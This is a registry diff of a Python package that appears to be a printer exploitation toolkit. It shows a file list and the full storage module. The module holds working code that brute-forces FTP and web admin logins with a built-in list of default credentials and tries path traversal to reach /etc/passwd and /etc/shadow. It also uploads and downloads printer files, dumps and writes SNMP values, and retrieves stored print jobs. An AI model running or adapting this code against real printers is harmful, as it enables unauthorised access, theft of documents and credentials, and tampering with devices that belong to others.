printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
@@ -0,0 +1,587 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """
4
+ PrinterXPL-Forge — Printer Storage / Filesystem Module
5
+ =====================================================
6
+ Read, list, download and upload files from printer internal storage via:
7
+
8
+ A. FTP (port 21) — some enterprise printers expose FTP for config/log files
9
+ B. Web file manager — many printers expose /WEB/FOLDER or similar endpoints
10
+ C. SNMP MIB data extraction — full MIB walk including saved job metadata
11
+ D. SMB shares — extend existing SMB module for listing/downloading
12
+ E. HTTP path traversal — common web admin vulnerabilities
13
+
14
+ Operations:
15
+ list_files() — list accessible files/directories
16
+ download_file() — pull a file to local disk
17
+ upload_file() — push a file to the printer
18
+ delete_file() — delete a file from the printer
19
+ dump_mib() — full SNMP MIB dump to file
20
+ get_saved_jobs()— retrieve saved/queued print jobs
21
+ """
22
+
23
+ # Author : Andre Henrique (@mrhenrike)
24
+ # GitHub : https://github.com/mrhenrike
25
+ # LinkedIn : https://linkedin.com/in/mrhenrike
26
+ # X/Twitter : https://x.com/mrhenrike
27
+
28
+ from __future__ import annotations
29
+
30
+ import ftplib
31
+ import io
32
+ import logging
33
+ import os
34
+ import re
35
+ import socket
36
+ import time
37
+ from pathlib import Path
38
+ from typing import Dict, List, Optional, Tuple
39
+
40
+ import requests
41
+ import urllib3
42
+
43
+ urllib3.disable_warnings()
44
+
45
+ _log = logging.getLogger(__name__)
46
+
47
+
48
+ # ── Common printer web paths ──────────────────────────────────────────────────
49
+
50
+ WEB_FILE_PATHS = [
51
+ # EPSON
52
+ '/PRESENTATION/', '/PRESENTATION/HTML/', '/LANGUAGES/',
53
+ '/WSD/', '/EPSONLBP/', '/PRESENTATION/AIRPRINT/',
54
+ # HP
55
+ '/hp/device/info', '/hp/device/InternalPages/Index', '/DevMgmt/',
56
+ '/webapps/hp/printjobs', '/webapps/hp/folder',
57
+ # Generic CUPS
58
+ '/admin/', '/admin/conf/', '/admin/log/',
59
+ '/var/log/', '/var/spool/cups/',
60
+ # Kyocera
61
+ '/startkm.htm', '/Eng/Setting/AdminSetting.htm',
62
+ # Xerox
63
+ '/properties/webApps/config.htm',
64
+ '/properties/Protocol/FTPClient.htm',
65
+ # Ricoh
66
+ '/web/guest/en/websys/webArch/getInfo.cgi',
67
+ '/web/guest/en/websys/webArch/setting.cgi',
68
+ # Common log/config pages
69
+ '/cgi-bin/config.exp', '/cgi-bin/printer.cgi',
70
+ '/setup.html', '/config.html', '/admin.html',
71
+ '/info.htm', '/status.htm', '/system.cgi',
72
+ # Path traversal candidates
73
+ '/../etc/passwd', '/../etc/shadow', '/../etc/hosts',
74
+ '/../proc/version', '/../var/log/syslog',
75
+ '/../../../../etc/passwd',
76
+ ]
77
+
78
+ SENSITIVE_EXTENSIONS = {'.dat', '.cfg', '.conf', '.log', '.bak',
79
+ '.key', '.pem', '.crt', '.pfx', '.p12',
80
+ '.bin', '.hex', '.rom', '.fw', '.img'}
81
+
82
+ KNOWN_DEFAULT_CREDS = [
83
+ ('', ''), # blank/blank
84
+ ('admin', ''), # admin / blank
85
+ ('admin', 'admin'),
86
+ ('admin', 'password'),
87
+ ('admin', '1234'),
88
+ ('admin', '12345'),
89
+ ('admin', '123456'),
90
+ ('guest', ''),
91
+ ('guest', 'guest'),
92
+ ('root', ''),
93
+ ('root', 'root'),
94
+ ('root', 'password'),
95
+ ('user', 'user'),
96
+ ('epson', ''), # EPSON default
97
+ ('epson', 'epson'),
98
+ ('Brother',''), # Brother default
99
+ ('brother','access'),
100
+ ('1234', ''), # common printer PIN
101
+ ('admin', 'admin1234'),
102
+ ('Admin', 'Admin'),
103
+ ('service','service'),
104
+ ('tech', 'tech'),
105
+ ]
106
+
107
+
108
+ # ── A. FTP file operations ────────────────────────────────────────────────────
109
+
110
+ def _ftp_default_port() -> int:
111
+ try:
112
+ from utils.ports import PortConfig
113
+ return PortConfig.resolve('ftp')
114
+ except Exception:
115
+ return 21
116
+
117
+
118
+ def ftp_list(
119
+ host: str, port: int = 0, timeout: float = 8,
120
+ username: str = 'anonymous', password: str = 'pentest@example.com',
121
+ ) -> Dict:
122
+ """
123
+ List FTP directory contents on a printer.
124
+
125
+ Many printers expose FTP with anonymous access or weak credentials.
126
+ Returns dict with files, dirs, writable, and credentials used.
127
+ """
128
+ port = port or _ftp_default_port()
129
+ result = {
130
+ 'host': host, 'port': port,
131
+ 'accessible': False, 'writable': False,
132
+ 'credentials': None, 'files': [], 'dirs': [], 'error': '',
133
+ }
134
+
135
+ cred_list = [(username, password)] + [
136
+ (u, p) for u, p in KNOWN_DEFAULT_CREDS
137
+ if (u, p) != (username, password)
138
+ ]
139
+
140
+ ftp = None
141
+ for user, passwd in cred_list[:8]: # limit attempts
142
+ try:
143
+ ftp = ftplib.FTP(timeout=timeout)
144
+ ftp.connect(host, port, timeout)
145
+ ftp.login(user, passwd)
146
+ result['accessible'] = True
147
+ result['credentials'] = (user, passwd)
148
+ _log.info("FTP login OK: %s/%s @ %s:%d", user, passwd, host, port)
149
+ break
150
+ except ftplib.error_perm:
151
+ ftp = None
152
+ continue
153
+ except Exception as exc:
154
+ result['error'] = str(exc)[:60]
155
+ return result
156
+
157
+ if not ftp:
158
+ result['error'] = 'FTP authentication failed for all credentials tried'
159
+ return result
160
+
161
+ try:
162
+ lines = []
163
+ ftp.retrlines('LIST -la', lines.append)
164
+ for line in lines:
165
+ parts = line.split()
166
+ if not parts:
167
+ continue
168
+ name = parts[-1] if len(parts) >= 9 else line
169
+ if line.startswith('d'):
170
+ result['dirs'].append(name)
171
+ else:
172
+ result['files'].append({'name': name, 'raw': line[:80]})
173
+
174
+ # Test write access
175
+ try:
176
+ ftp.stou()
177
+ result['writable'] = True
178
+ except Exception:
179
+ pass
180
+
181
+ except Exception as exc:
182
+ result['error'] += str(exc)[:60]
183
+ finally:
184
+ try:
185
+ ftp.quit()
186
+ except Exception:
187
+ pass
188
+
189
+ return result
190
+
191
+
192
+ def ftp_download(
193
+ host: str,
194
+ remote: str,
195
+ local_dir: str = '.',
196
+ port: int = 0,
197
+ timeout: float= 10,
198
+ username: str = 'anonymous',
199
+ password: str = 'pentest@example.com',
200
+ ) -> Optional[bytes]:
201
+ """
202
+ Download *remote* file from printer FTP.
203
+
204
+ Returns raw bytes or None on failure.
205
+ """
206
+ port = port or _ftp_default_port()
207
+ try:
208
+ ftp = ftplib.FTP(timeout=timeout)
209
+ ftp.connect(host, port, timeout)
210
+ ftp.login(username, password)
211
+ buf = io.BytesIO()
212
+ ftp.retrbinary(f'RETR {remote}', buf.write)
213
+ ftp.quit()
214
+ data = buf.getvalue()
215
+ if local_dir:
216
+ dest = Path(local_dir) / Path(remote).name
217
+ dest.write_bytes(data)
218
+ _log.info("FTP downloaded %s → %s (%d bytes)", remote, dest, len(data))
219
+ return data
220
+ except Exception as exc:
221
+ _log.debug("FTP download %s failed: %s", remote, exc)
222
+ return None
223
+
224
+
225
+ def ftp_upload(
226
+ host: str,
227
+ local: str,
228
+ remote: str,
229
+ port: int = 0,
230
+ timeout: float= 10,
231
+ username: str = 'anonymous',
232
+ password: str = 'pentest@example.com',
233
+ ) -> bool:
234
+ """Upload *local* file to printer via FTP. Returns True on success."""
235
+ port = port or _ftp_default_port()
236
+ try:
237
+ ftp = ftplib.FTP(timeout=timeout)
238
+ ftp.connect(host, port, timeout)
239
+ ftp.login(username, password)
240
+ with open(local, 'rb') as fh:
241
+ ftp.storbinary(f'STOR {remote}', fh)
242
+ ftp.quit()
243
+ return True
244
+ except Exception as exc:
245
+ _log.debug("FTP upload %s failed: %s", local, exc)
246
+ return False
247
+
248
+
249
+ # ── B. Web file / page enumeration ────────────────────────────────────────────
250
+
251
+ def web_enumerate(
252
+ host: str,
253
+ timeout: float = 8,
254
+ verbose: bool = True,
255
+ ) -> Dict:
256
+ """
257
+ Enumerate accessible web pages/files on a printer's HTTP interface.
258
+
259
+ Probes known paths including admin pages, config files, log files,
260
+ and attempts path traversal to reach system files.
261
+
262
+ Returns dict with accessible paths, interesting content, and credentials.
263
+ """
264
+ result = {
265
+ 'host': host,
266
+ 'accessible': [],
267
+ 'credentials': None,
268
+ 'traversal': [],
269
+ 'sensitive': [],
270
+ }
271
+
272
+ # Try HTTP and HTTPS
273
+ for scheme in ('http', 'https'):
274
+ port = 443 if scheme == 'https' else 80
275
+ for path in WEB_FILE_PATHS:
276
+ try:
277
+ r = requests.get(
278
+ f'{scheme}://{host}:{port}{path}',
279
+ timeout=timeout, verify=False,
280
+ allow_redirects=True,
281
+ )
282
+ if r.status_code in (200, 206):
283
+ content_type = r.headers.get('Content-Type', '')
284
+ size = len(r.content)
285
+ is_sensitive = any(ext in path.lower() for ext in SENSITIVE_EXTENSIONS)
286
+ is_traversal = '..' in path
287
+
288
+ entry = {
289
+ 'url': f'{scheme}://{host}:{port}{path}',
290
+ 'status': r.status_code,
291
+ 'content_type': content_type[:50],
292
+ 'size': size,
293
+ 'snippet': r.text[:200].replace('\n', ' '),
294
+ }
295
+ result['accessible'].append(entry)
296
+
297
+ if is_traversal and size > 10:
298
+ result['traversal'].append(entry)
299
+ if verbose:
300
+ print(f" [WEB] \033[1;31m[TRAVERSAL]\033[0m {path} "
301
+ f"({size} bytes)")
302
+ print(f" {r.text[:100]}")
303
+
304
+ elif is_sensitive:
305
+ result['sensitive'].append(entry)
306
+ if verbose:
307
+ print(f" [WEB] \033[1;33m[SENSITIVE]\033[0m {path} "
308
+ f"({size} bytes, {content_type})")
309
+
310
+ elif verbose and path not in ('/PRESENTATION/',):
311
+ print(f" [WEB] {r.status_code} {path} ({size}b)")
312
+
313
+ except Exception:
314
+ pass
315
+
316
+ # Attempt admin login with default credentials
317
+ for scheme in ('http', 'https'):
318
+ port = 443 if scheme == 'https' else 80
319
+ for user, passwd in KNOWN_DEFAULT_CREDS[:12]:
320
+ for admin_path in ('/admin', '/admin/', '/admin.htm', '/system.cgi',
321
+ '/setup', '/hp/device/info'):
322
+ try:
323
+ r = requests.get(
324
+ f'{scheme}://{host}:{port}{admin_path}',
325
+ auth=(user, passwd),
326
+ timeout=timeout, verify=False,
327
+ )
328
+ if r.status_code == 200 and 'login' not in r.text[:200].lower():
329
+ result['credentials'] = (user, passwd, admin_path)
330
+ if verbose:
331
+ print(f" [WEB] \033[1;31m[CREDS]\033[0m "
332
+ f"Default credentials work: {user}/{passwd!r} "
333
+ f"→ {admin_path}")
334
+ break
335
+ except Exception:
336
+ pass
337
+ if result['credentials']:
338
+ break
339
+
340
+ return result
341
+
342
+
343
+ # ── C. SNMP MIB full dump ──────────────────────────────────────────────────────
344
+
345
+ def snmp_dump(
346
+ host: str,
347
+ community: str = 'public',
348
+ timeout: float = 5,
349
+ output_file: Optional[str] = None,
350
+ verbose: bool = True,
351
+ ) -> Dict[str, str]:
352
+ """
353
+ Perform a full SNMP MIB walk on the printer.
354
+
355
+ Extracts:
356
+ - System information (sysDescr, sysName, sysUpTime, sysContact)
357
+ - Device info (hrDevice, hrStorage)
358
+ - Printer-specific (prtMIB: toner levels, drum info, job count)
359
+ - Interface table (MAC addresses, IP info)
360
+ - Saved job metadata (if available)
361
+
362
+ Returns dict {OID: value}. Also writes to *output_file* if specified.
363
+ """
364
+ result: Dict[str, str] = {}
365
+
366
+ try:
367
+ from pysnmp.hlapi import (
368
+ nextCmd, CommunityData, UdpTransportTarget,
369
+ ContextData, ObjectType, ObjectIdentity, SnmpEngine,
370
+ )
371
+ import warnings
372
+ warnings.filterwarnings('ignore', category=RuntimeWarning)
373
+ except ImportError:
374
+ _log.error("pysnmp not installed — SNMP dump unavailable")
375
+ return result
376
+
377
+ from utils.ports import PortConfig as _PC
378
+ engine = SnmpEngine()
379
+ community_obj = CommunityData(community, mpModel=1) # v2c
380
+ transport = UdpTransportTarget(
381
+ (host, _PC.resolve('snmp')), timeout=timeout, retries=1,
382
+ )
383
+ context = ContextData()
384
+
385
+ if verbose:
386
+ print(f" [SNMP] Walking MIB on {host} (community={community!r}) ...")
387
+
388
+ start_oid = ObjectIdentity('1.3.6.1') # all of MIB-2 and enterprise
389
+
390
+ count = 0
391
+ for err_ind, err_stat, err_idx, var_binds in nextCmd(
392
+ engine, community_obj, transport, context,
393
+ ObjectType(start_oid),
394
+ lexicographicMode=False,
395
+ maxRows=2000,
396
+ ):
397
+ if err_ind:
398
+ _log.debug("SNMP walk error: %s", err_ind)
399
+ break
400
+ if err_stat:
401
+ break
402
+ for oid, val in var_binds:
403
+ oid_str = str(oid)
404
+ val_str = str(val)
405
+ result[oid_str] = val_str
406
+ count += 1
407
+
408
+ if verbose:
409
+ print(f" [SNMP] Retrieved {count} OID values")
410
+
411
+ if output_file and result:
412
+ out = Path(output_file)
413
+ out.parent.mkdir(parents=True, exist_ok=True)
414
+ with open(out, 'w', encoding='utf-8') as fh:
415
+ for oid, val in sorted(result.items()):
416
+ fh.write(f"{oid} = {val}\n")
417
+ if verbose:
418
+ print(f" [SNMP] Dump saved to {output_file} ({count} entries)")
419
+
420
+ return result
421
+
422
+
423
+ def snmp_write(
424
+ host: str,
425
+ oid: str,
426
+ value: str,
427
+ community: str = 'private',
428
+ timeout: float = 5,
429
+ ) -> bool:
430
+ """
431
+ Attempt to write a value via SNMP SET (requires 'private' or writable community).
432
+
433
+ Common writable OIDs:
434
+ 1.3.6.1.2.1.1.5.0 — sysName (device hostname)
435
+ 1.3.6.1.2.1.1.6.0 — sysLocation
436
+ 1.3.6.1.2.1.1.4.0 — sysContact
437
+ 1.3.6.1.4.1.11.2.3.9.1.1.6.0 — HP: job-info-name1 (printed name)
438
+ """
439
+ try:
440
+ from pysnmp.hlapi import (
441
+ setCmd, CommunityData, UdpTransportTarget,
442
+ ContextData, ObjectType, ObjectIdentity,
443
+ OctetString, SnmpEngine,
444
+ )
445
+ import warnings
446
+ warnings.filterwarnings('ignore', category=RuntimeWarning)
447
+
448
+ from utils.ports import PortConfig as _PC
449
+ engine = SnmpEngine()
450
+ for err_ind, err_stat, _, var_binds in setCmd(
451
+ engine,
452
+ CommunityData(community, mpModel=1),
453
+ UdpTransportTarget((host, _PC.resolve('snmp')), timeout=timeout, retries=0),
454
+ ContextData(),
455
+ ObjectType(ObjectIdentity(oid), OctetString(value)),
456
+ ):
457
+ if not err_ind and not err_stat:
458
+ return True
459
+ except Exception as exc:
460
+ _log.debug("SNMP SET %s=%r failed: %s", oid, value, exc)
461
+ return False
462
+
463
+
464
+ # ── D. Saved print jobs retrieval ─────────────────────────────────────────────
465
+
466
+ def get_saved_jobs(
467
+ host: str,
468
+ timeout: float = 10,
469
+ verbose: bool = True,
470
+ ) -> List[Dict]:
471
+ """
472
+ Attempt to retrieve saved/stored print jobs from the printer.
473
+
474
+ Methods tried:
475
+ 1. IPP Get-Jobs with 'completed' and 'all' — metadata only
476
+ 2. Web interface job list pages
477
+ 3. FTP /jobs or /spool directories (if FTP is open)
478
+
479
+ Returns list of job dicts with available metadata.
480
+ """
481
+ jobs = []
482
+
483
+ # Method 1: IPP
484
+ try:
485
+ from protocols.ipp_attacks import list_jobs, discover_endpoints
486
+ eps = discover_endpoints(host, timeout)
487
+ if eps:
488
+ ep = eps[0]
489
+ ipp_jobs = list_jobs(
490
+ host, ep['port'], ep['path'], ep['scheme'],
491
+ which='completed', timeout=timeout,
492
+ )
493
+ jobs.extend(ipp_jobs)
494
+ if verbose and ipp_jobs:
495
+ print(f" [STORAGE] IPP completed jobs: {len(ipp_jobs)}")
496
+ except Exception as exc:
497
+ _log.debug("IPP job listing: %s", exc)
498
+
499
+ # Method 2: Web job pages
500
+ job_paths = [
501
+ '/hp/device/jobs', '/webapps/hp/printjobs',
502
+ '/PRESENTATION/HTML/TOP/JOBLIST.HTML',
503
+ '/jobs', '/spool', '/queue',
504
+ ]
505
+ for scheme in ('http', 'https'):
506
+ port = 443 if scheme == 'https' else 80
507
+ for path in job_paths:
508
+ try:
509
+ r = requests.get(
510
+ f'{scheme}://{host}:{port}{path}',
511
+ timeout=timeout, verify=False,
512
+ )
513
+ if r.status_code == 200 and len(r.text) > 100:
514
+ job_names = re.findall(r'(?:job|file|document)\s*[:\-]\s*([^\<\n\r]{5,60})',
515
+ r.text, re.I)
516
+ for name in job_names[:10]:
517
+ jobs.append({'source': 'web', 'name': name.strip()[:80],
518
+ 'url': f'{scheme}://{host}:{port}{path}'})
519
+ if verbose and job_names:
520
+ print(f" [STORAGE] Web job list at {path}: "
521
+ f"{len(job_names)} entries")
522
+ except Exception:
523
+ pass
524
+
525
+ return jobs
526
+
527
+
528
+ # ── E. Full storage audit ──────────────────────────────────────────────────────
529
+
530
+ def storage_audit(
531
+ host: str,
532
+ timeout: float = 10,
533
+ outdir: str = '.log',
534
+ verbose: bool = True,
535
+ ) -> Dict:
536
+ """
537
+ Run a comprehensive printer storage audit.
538
+
539
+ Attempts all available storage access methods and consolidates findings.
540
+ """
541
+ result = {
542
+ 'host': host,
543
+ 'ftp': None,
544
+ 'web': None,
545
+ 'snmp_oids': 0,
546
+ 'saved_jobs': [],
547
+ 'risk': [],
548
+ }
549
+
550
+ if verbose:
551
+ print(f"\n [STORAGE] Audit: {host}")
552
+
553
+ # FTP
554
+ ftp = ftp_list(host, timeout=timeout)
555
+ result['ftp'] = ftp
556
+ if ftp['accessible']:
557
+ result['risk'].append(f'FTP_ACCESSIBLE ({ftp["credentials"][0]})')
558
+ if verbose:
559
+ print(f" [STORAGE] \033[1;31m[VULN]\033[0m FTP open — "
560
+ f"creds={ftp['credentials']}, "
561
+ f"files={len(ftp['files'])}, "
562
+ f"writable={ftp['writable']}")
563
+
564
+ # Web enumeration
565
+ web = web_enumerate(host, timeout=timeout, verbose=verbose)
566
+ result['web'] = web
567
+ if web['traversal']:
568
+ result['risk'].append(f'PATH_TRAVERSAL ({len(web["traversal"])} paths)')
569
+ if web['credentials']:
570
+ result['risk'].append(f'WEB_DEFAULT_CREDS ({web["credentials"][0]}/{web["credentials"][1]})')
571
+ if web['sensitive']:
572
+ result['risk'].append(f'SENSITIVE_FILES ({len(web["sensitive"])})')
573
+
574
+ # SNMP MIB dump
575
+ mib_file = os.path.join(outdir, f'snmp_dump_{host.replace(".", "_")}.txt')
576
+ mib = snmp_dump(host, output_file=mib_file, verbose=verbose)
577
+ result['snmp_oids'] = len(mib)
578
+ if mib:
579
+ result['risk'].append(f'SNMP_MIB_DUMPED ({len(mib)} OIDs)')
580
+
581
+ # Saved jobs
582
+ jobs = get_saved_jobs(host, timeout=timeout, verbose=verbose)
583
+ result['saved_jobs'] = jobs
584
+ if jobs:
585
+ result['risk'].append(f'SAVED_JOBS ({len(jobs)})')
586
+
587
+ return result
src/ui/__init__.py ADDED
@@ -0,0 +1,6 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ # Author : Andre Henrique (@mrhenrike)
4
+ # GitHub : https://github.com/mrhenrike
5
+ # LinkedIn : https://linkedin.com/in/mrhenrike
6
+ # X/Twitter : https://x.com/mrhenrike